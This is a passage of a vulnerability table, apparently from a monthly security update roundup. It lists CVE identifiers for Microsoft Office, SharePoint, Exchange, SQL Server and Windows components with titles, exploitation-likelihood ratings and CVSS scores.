CVE-2026-81947	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-81948	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-81949	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-81950	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-81951	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-81953	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-81954	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-81956	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-81957	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-81959	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-81960	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-70178	Microsoft Fabric Elevation of Privilege Vulnerability	N/A	No	8.5
CVE-2026-69477	Microsoft Office Access Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-69529	Microsoft Office Access Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69614	Microsoft Office Access Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69778	Microsoft Office Access Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-72974	Microsoft Office Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-78515	Microsoft Office Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-85875	Microsoft Office Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-78518	Microsoft Office Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-78439	Microsoft Office Graphics Component Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69626	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-69739	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-80076	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-80078	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-80082	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-80087	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-80089	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-80091	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-78520	Microsoft Office Outlook Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-80073	Microsoft Office Outlook Information Disclosure Vulnerability	Exploitation Less Likely	No
CVE-2026-80084	Microsoft Office Outlook Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-69629	Microsoft Office Outlook Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-78509	Microsoft Office Outlook Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-78519	Microsoft Office Outlook Remote Code Execution Vulnerability	Exploitation Less Likely	No
CVE-2026-78525	Microsoft Office Outlook Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-72938	Microsoft Office PowerPoint Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-72956	Microsoft Office PowerPoint Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-72975	Microsoft Office PowerPoint Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-72977	Microsoft Office PowerPoint Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-78513	Microsoft Office PowerPoint Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-80086	Microsoft Office PowerPoint Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-69678	Microsoft Office PowerPoint Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69767	Microsoft Office PowerPoint Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69797	Microsoft Office PowerPoint Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-80081	Microsoft Office PowerPoint Remote Code Execution Vulnerability	Exploitation Less Likely	No
CVE-2026-69742	Microsoft Office Publisher Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-81385	Microsoft Office Publisher Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69285	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69442	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69632	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-77898	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-78505	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-78524	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69464	Microsoft Office SharePoint Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69716	Microsoft Office SharePoint Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69409	Microsoft Office SharePoint Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-69636	Microsoft Office SharePoint Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-69683	Microsoft Office SharePoint Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-69904	Microsoft Office SharePoint Information Disclosure Vulnerability	Exploitation Less Likely	No	3.5
CVE-2026-69268	Microsoft Office SharePoint Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69273	Microsoft Office SharePoint Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69282	Microsoft Office SharePoint Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69465	Microsoft Office SharePoint Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69724	Microsoft Office SharePoint Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69804	Microsoft Office SharePoint Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-69402	Microsoft Office SharePoint Spoofing Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-69417	Microsoft Office SharePoint Spoofing Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-69615	Microsoft Office SharePoint Spoofing Vulnerability	Exploitation Unlikely	No	3.5
CVE-2026-69690	Microsoft Office SharePoint Spoofing Vulnerability	Exploitation Unlikely	No	4.6
CVE-2026-64918	Microsoft Office Spoofing Vulnerability	Exploitation Less Likely	No	6.5

CVE-2026-69719	Microsoft Office Word Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-69734	Microsoft Office Word Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-72976	Microsoft Office Word Information Disclosure Vulnerability	Exploitation Less Likely	No	5.0
CVE-2026-77911	Microsoft Office Word Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-78502	Microsoft Office Word Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-78503	Microsoft Office Word Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-78506	Microsoft Office Word Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-78522	Microsoft Office Word Information Disclosure Vulnerability	Exploitation Less Likely	No
CVE-2026-80079	Microsoft Office Word Information Disclosure Vulnerability	Exploitation Less Likely	No
CVE-2026-80088	Microsoft Office Word Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-80090	Microsoft Office Word Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-83949	Microsoft Office Word Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-83951	Microsoft Office Word Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69556	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69671	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69686	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69722	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69759	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69764	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-72972	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-72973	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-77901	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-78504	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-78507	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-78511	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-78512	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-78514	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-78517	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-78521	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-78526	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-80080	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-80085	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-65812	Microsoft Teams for Android Information Disclosure Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-69559	Microsoft Teams for Android Information Disclosure Vulnerability	Exploitation Unlikely	No	5.8
CVE-2026-62804	Microsoft Word Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-78510	Microsoft Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-81952	Microsoft Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-66303	Skype for Business and Lync Denial of Service Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-66307	Skype for Business and Lync Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-66308	Skype for Business and Lync Denial of Service Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-66304	Skype for Business Information Disclosure Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-66306	Skype for Business Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-66302	Skype for Business Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-63523	Skype for Business Spoofing Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-66305	Skype for Business Spoofing Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-69642	Skype for Business Spoofing Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-69646	Skype for Business Spoofing Vulnerability	Exploitation Less Likely	No	8.3
CVE-2026-81955	Windows Graphics Component Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8

Open Source Software vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-69805	.NET Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.5
CVE-2025-70873	An information disclosure issue in the zipfileInflate function in the zipfile extension in SQLite v3.51.1 and earlier allows attackers to obtain heap memory via supplying a crafted ZIP file.	n/a	No	7.5
CVE-2026-34182	CMS AuthEnvelopedData Processing May Accept Forged Messages	n/a	No	9.1

Server Software vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-69378	Microsoft Exchange Server Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-69380	Microsoft Exchange Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-69641	Microsoft Exchange Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	9.1
CVE-2026-69382	Microsoft Exchange Server Information Disclosure Vulnerability	Exploitation Less Likely	No	5.9
CVE-2026-55007	Microsoft Exchange Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-69355	Microsoft Exchange Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69356	Microsoft Exchange Server Spoofing Vulnerability	Exploitation Less Likely	No	9.3
CVE-2026-69361	Microsoft Exchange Server Spoofing Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-69375	Microsoft Exchange Server Tampering Vulnerability	Exploitation Less Likely	No	6.5

SQL Server vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-67376	Microsoft SQL Server Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-67633	Microsoft SQL Server Denial of Service Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-67641	Microsoft SQL Server Denial of Service Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-66814	Microsoft SQL Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-66818	Microsoft SQL Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-66819	Microsoft SQL Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-67368	Microsoft SQL Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-67370	Microsoft SQL Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-67381	Microsoft SQL Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-67369	Microsoft SQL Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-67383	Microsoft SQL Server Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-67386	Microsoft SQL Server Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-67389	Microsoft SQL Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-67390	Microsoft SQL Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-67393	Microsoft SQL Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-67624	Microsoft SQL Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-67629	Microsoft SQL Server Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-67630	Microsoft SQL Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-67645	Microsoft SQL Server Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-67648	Microsoft SQL Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-68776	Microsoft SQL Server Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-68777	Microsoft SQL Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-68778	Microsoft SQL Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-68779	Microsoft SQL Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-68780	Microsoft SQL Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-68781	Microsoft SQL Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-68784	Microsoft SQL Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-69562	Microsoft SQL Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-73029	Microsoft SQL Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-77488	Microsoft SQL Server Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-47297	Microsoft SQL Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-67373	Microsoft SQL Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-67378	Microsoft SQL Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.5
CVE-2026-67379	Microsoft SQL Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.5
CVE-2026-67380	Microsoft SQL Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-67384	Microsoft SQL Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-67385	Microsoft SQL Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-67388	Microsoft SQL Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-67631	Microsoft SQL Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-67636	Microsoft SQL Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.5
CVE-2026-67638	Microsoft SQL Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-67639	Microsoft SQL Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-67642	Microsoft SQL Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-67643	Microsoft SQL Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-68775	Microsoft SQL Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-68785	Microsoft SQL Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	4.9
CVE-2026-68786	Microsoft SQL Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-68787	Microsoft SQL Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-77481	Microsoft SQL Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-77482	Microsoft SQL Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-77484	Microsoft SQL Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-77486	Microsoft SQL Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-66816	Microsoft SQL Server Security Feature Bypass Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-66820	SQL Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-73028	SQL Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-77480	SQL Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-77483	SQL Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-77485	SQL Server Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-77487	SQL Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-78456	SQL Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-78441	Windows OLE DB Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-78442	Windows OLE DB Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8

Windows vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-62810	Active Directory Certificate Services (AD CS) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69821	Active Directory Certificate Services (AD CS) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69395	Active Directory Certificate Services (AD CS) Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-69624	Active Directory Certificate Services (AD CS) Tampering Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-69359	Active Directory Domain Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-72978	Active Directory Federation Services (AD FS) Denial of Service Vulnerability	Exploitation Unlikely	No	5.9
CVE-2026-69401	Audio Video Control Transport Protocol Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69329	BranchCache Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-69516	Connected Devices Platform Service (Cdpsvc) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-68824	Connected User Experiences and Telemetry Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-68847	Connected User Experiences and Telemetry Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69470	Connected User Experiences and Telemetry Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69625	Connected User Experiences and Telemetry Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-73014	Data Sharing Service Client Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-73006	DirectWrite Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-73016	DirectWrite Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69576	Graphic Fonts Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-72986	Graphic Fonts Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-73018	Graphic Fonts Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-73017	Graphics Kernel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-81353	HEIF Image Extensions Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58600	HEVC Video Extensions Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58599	HEVC Video Extensions Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69731	HID Class Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-72983	Internet Connection Sharing (ICS) Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-68895	Internet Storage Name Service Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-72981	IP Helper Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-69275	Kernel Streaming WOW Thunk Service Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69900	Kernel Streaming WOW Thunk Service Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-68850	Microsoft Account Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68852	Microsoft Account Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69299	Microsoft COM for Windows Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69294	Microsoft COM for Windows Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69491	Microsoft DirectMusic Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-73010	Microsoft Failover Cluster Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-78444	Microsoft Failover Cluster Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-69467	Microsoft Graphics Component Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-83990	Microsoft Graphics Component Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-84000	Microsoft Graphics Component Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69605	Microsoft Install Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-69325	Microsoft JScript Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-69438	Microsoft JScript Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-69277	Microsoft Local Security Authority (LSA) Server Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-69365	Microsoft Local Security Authority (LSA) Server Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-69594	Microsoft Local Security Authority (LSA) Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68843	Microsoft Office Word Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69360	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-77504	Microsoft Office Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69397	Microsoft OpenSSH for Windows Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-62801	Microsoft PowerShell Security Feature Bypass Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-57098	Microsoft Remote Desktop App for Windows Information Disclosure Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-65669	Microsoft SQL Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	9.6
CVE-2026-68885	Microsoft Standard XPS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68888	Microsoft Standard XPS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68889	Microsoft Standard XPS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-68890	Microsoft Standard XPS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68892	Microsoft Standard XPS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68897	Microsoft Standard XPS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69269	Microsoft Standard XPS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69271	Microsoft Standard XPS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-69272	Microsoft Standard XPS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-69313	Microsoft Standard XPS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-69336	Microsoft Standard XPS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-68881	Microsoft Standard XPS Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-68891	Microsoft Standard XPS Information Disclosure Vulnerability	Exploitation Less Likely	No	4.7
CVE-2026-69308	Microsoft Standard XPS Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69345	Microsoft Standard XPS Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69367	Microsoft Standard XPS Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69376	Microsoft Standard XPS Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69824	Microsoft Standard XPS Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-72946	Microsoft Storage Port Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-56198	Microsoft Trace Data Helper Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69276	Microsoft UxTheme Library (uxtheme.dll) Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-69420	Microsoft VOLSNAP.SYS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69427	Microsoft VOLSNAP.SYS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-72933	Microsoft WDAC OLE DB provider for SQL Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-70351	Microsoft WebP Image Extension Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-62706	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-62744	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-69386	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69408	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-69511	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69601	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69586	Microsoft Windows PDF Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-78451	Microsoft Windows SCSI Class System File Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-78452	Microsoft Windows SCSI Class System File Information Disclosure Vulnerability	Exploitation Less Likely	No	4.6
CVE-2026-78453	Microsoft Windows SCSI Class System File Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-68896	Microsoft Windows Search Component Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69305	Microsoft Windows Search Component Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.1
CVE-2026-69322	Microsoft Windows Search Component Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-69585	Microsoft Windows Search Component Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
